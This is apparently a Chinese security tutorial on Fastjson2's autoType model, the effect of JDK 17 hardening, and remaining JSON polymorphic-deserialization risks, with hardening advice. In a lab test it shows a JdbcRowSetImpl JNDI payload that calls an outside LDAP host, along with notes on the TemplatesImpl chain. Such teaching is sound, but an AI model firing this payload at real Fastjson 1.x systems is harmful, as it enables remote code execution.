☰
Fastjson 漏洞 · 05 · Fastjson2 与现代利用面
2026/10/3 13:03:42 网站建设 项目流程

引子:2026 年,Fastjson 漏洞还"活着"吗

先破除一个常见误解:有人会以为"漏洞都修到 1.2.83 了,Fastjson 的事是不是过时了?"。现实是:

  • 新项目基本不再用 1.x,主流是 fastjson2 或 Jackson;

  • 但存量系统里 1.x 铺得极广,很多内网、政企、工业系统还停在老版本,扫描器、护网、渗透中的 Fastjson 漏洞面至今活跃;

  • 同时,com.alibaba:fastjson:2.0.x这个"看起来是升级版"的坐标,其实是fastjson1-compatible 兼容桥接包,很多人没意识到它背后是 fastjson2、也没意识到依赖还要补全。

也就是说,Fastjson 漏洞的价值不在"新",而在"存量面大 + 设计模型值得学"。而且它代表的"JSON 多态反序列化"是一整类问题:Jackson 的enableDefaultTyping、XML 的 XStream/XMLDecoder、YAML 的 SnakeYAML 都出过同源漏洞。学会一个,等于掌握一类。

本篇讲清三件事:fastjson2 的安全模型为什么不同、现代 JDK 改变了什么、还有哪些残留风险。所有结论都在靶场用 fastjson2 2.0.65 实测过。

本篇要点:

  1. 为什么 fastjson2 默认解析@type时只是返回一个普通JSONObject?

  2. 打开SupportAutoType为什么还不够?还缺什么?

  3. com.alibaba:fastjson:2.0.x与com.alibaba.fastjson2:fastjson2是什么关系?迁移要注意什么?

  4. 现代 JDK 从 JNDI 与模块封装两个方向如何抬高门槛?为什么仍不是"根治"?

  5. 为什么说这是一类"多态反序列化"通病,而不是 Fastjson 独有?


一、先说清楚"现代"到底指什么

很多网上教程停在"1.2.24 一打一个准",容易对今天的现实产生误判。2026 年的真实情况是:

  1. 新项目基本不该再用com.alibaba:fastjson:1.2.x,主流是fastjson2(com.alibaba.fastjson2:fastjson2)或 Jackson;

  2. 存量系统里 1.x 仍大量存在,所以这些 CVE 至今仍在被扫描、利用——漏洞的价值不在"新",而在"存量面大";

  3. 现代 JDK(17/21)的强封装、JNDI 默认加固,让"照搬老 payload 就能打"的情况大幅减少,但误配置会重新打开。


二、fastjson2:换了安全模型

Fastjson2 是一次重写,官方明确:不再为了兼容 1.x 而保留 autoType 白名单。它的默认行为是:

  • 解析 JSON 时,@type不会被用来实例化任意类;

  • 即便显式打开JSONReader.Feature.SupportAutoType,也还需要注册/采用白名单才真正允许自动类型;默认的 autoType handler 会拒绝。

Java 说明:

  • JSONReader.Feature.SupportAutoType:fastjson2 的一个特性枚举常量,作为参数传给解析方法,表示"允许 autoType"。

  • JSON.parseObject(...)/JSON.parse(...):与 1.x 同名,但 fastjson2 中@type默认只当普通字段处理,不会据此实例化类。

  • 真正启用多态反序列化还需要显式注册允许的类型(白名单),这与 1.x"开关一开就全放行"有本质区别。

靶场实测(fastjson2 2.0.65)

用最小的 fastjson2 程序(tools/Fastjson2Test.java)解析同一个JdbcRowSetImplpayload:

/opt/jdk8/bin/java -cp "lib/fastjson2-2.0.65.jar:tools" Fastjson2Test \ # 用 fastjson2 运行对照程序(classpath:fastjson2 核心 + 已编译的 tools) '{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.143.156:1389/cn=Exploit,dc=lab,dc=local","autoCommit":true}' # 待解析的 payload

真实输出:

default parseObject -> {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"....","autoCommit":true} SupportAutoType -> {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"....","autoCommit":true} JSON.parse -> {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"....","autoCommit":true} JNDI 回调次数: 0
调用方式返回JNDI 回调
JSON.parseObject(payload)(默认)普通JSONObject(原样保留@type)0
JSON.parseObject(payload, SupportAutoType)普通JSONObject0
JSON.parse(payload)普通JSONObject0

读法:返回值是一个普通JSONObject(原样保留@type字段),根本没有实例化JdbcRowSetImpl,也没有任何 JNDI 回调。这说明:

fastjson2 默认把@type当普通字段处理,而不是"要加载的类"。要让它真的多态反序列化,必须显式注册允许的类。

1.x 也想"平滑迁移"怎么办

阿里提供了com.alibaba:fastjson:2.0.x这个 artifact(注意 groupId 还是com.alibaba),它其实是"fastjson1-compatible 兼容层",内部转发到 fastjson2,可在不改坐标的前提下完成升级。使用时需要连同com.alibaba.fastjson2:fastjson2一起放入 classpath(兼容层是薄壳,不自带核心)。

靶场里尝试时若只放兼容层、不放fastjson2,会报NoClassDefFoundError——这说明:升级不是换个版本号,要确认依赖树完整。


三、JDK17 改变了什么

现代 JDK 从两个方向抬高了门槛,但都不是"根治":

1. JNDI 远程类加载默认关闭

上一篇已实测:trustURLCodebase默认false时,JNDI 远程加载被拦;显式开启后,JDK8 和 JDK17 都能重新被打:

JDK8 trustURLCodebase=默认 -> 被拦截 开启 -> 远程类加载+执行 JDK17 trustURLCodebase=默认 -> 被拦截 开启 -> 远程类加载+执行

所以"升级 JDK"是缓解,不是修复;只要业务/中间件为了兼容加了那个参数,风险就回来。

2. 强封装(JPMS)影响"反射改私有字段"的链

像TemplatesImpl这种需要 Fastjson 用反射去写私有字段的链,在 JDK17 上会撞上模块边界:

  • 需要 Fastjson 开启Feature.SupportNonPublicField;

  • 还需要 JVM 参数--add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED之类,把对应包"开个口子"。

靶场里的start.sh在 JDK17 模式就带了这些--add-opens,否则TemplatesImpl链会因InaccessibleObjectException失败。真实系统中,除非运维特意加了这些参数,否则这类链在 JDK17 上更难走通。

一句话:JDK 升级 + 默认加固,让"老 payload 直接打"变难;但"误配置 + 依赖型 gadget"仍能打。安全的前提是别指望单一措施。


四、现代仍然存在的风险点

即便上了 fastjson2,以下情况依然危险,值得单独警惕:

  1. 显式打开 autoType 并配了宽松白名单:为了兼容老功能,有人会SupportAutoType+ 注册大量包前缀。白名单一旦过宽(如com.、java.),等于没防。

  2. 仍在使用 1.x 且开了 autoType:靶场矩阵显示,1.2.24 直接打、1.2.25~1.2.47 多种绕过;只要autoTypeSupport=true,风险显著上升。

  3. 同类问题的其他库:Jackson 的enableDefaultTyping/@JsonTypeInfo也支持多态反序列化,历史上同样出过 RCE(Jackson 的 CVE 系列)。问题不是"Fastjson 特有",而是"JSON 多态反序列化"这一类设计。

  4. 反序列化其他格式:Java 原生序列化、XML(XStream/XMLDecoder)、YAML(SnakeYAML)等,都可能被同类 gadget 打穿。学 Fastjson 的价值在于理解通用反序列化攻击模型。


五、迁移与加固建议

  • 新项目:用 fastjson2 或 Jackson,并关闭多态/autoType;

  • 老项目:1.2.83+或 fastjson2 兼容层;无法升级则开safeMode;

  • 若必须用多态:用最小白名单(精确到类),不要用宽泛包前缀;

  • 全链路:不信任任何输入里的类名,日志/告警里出现@type+ 陌生类名就查。


六、自测

  1. fastjson2 默认解析带@type的 JSON 时,为什么会返回一个普通JSONObject而不是报错?

  2. SupportAutoType打开了,为什么靶场里还是没有触发?还缺什么?

  3. com.alibaba:fastjson:2.0.x和com.alibaba.fastjson2:fastjson2是什么关系?升级时要注意什么?

  4. 为什么"升级 JDK"只能缓解不能根治?请分别从 JNDI 与反射封装两个角度回答。

  5. 为什么说 Fastjson 漏洞的本质是"JSON 多态反序列化"这一类问题,而不是某个库的孤立毛病?

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询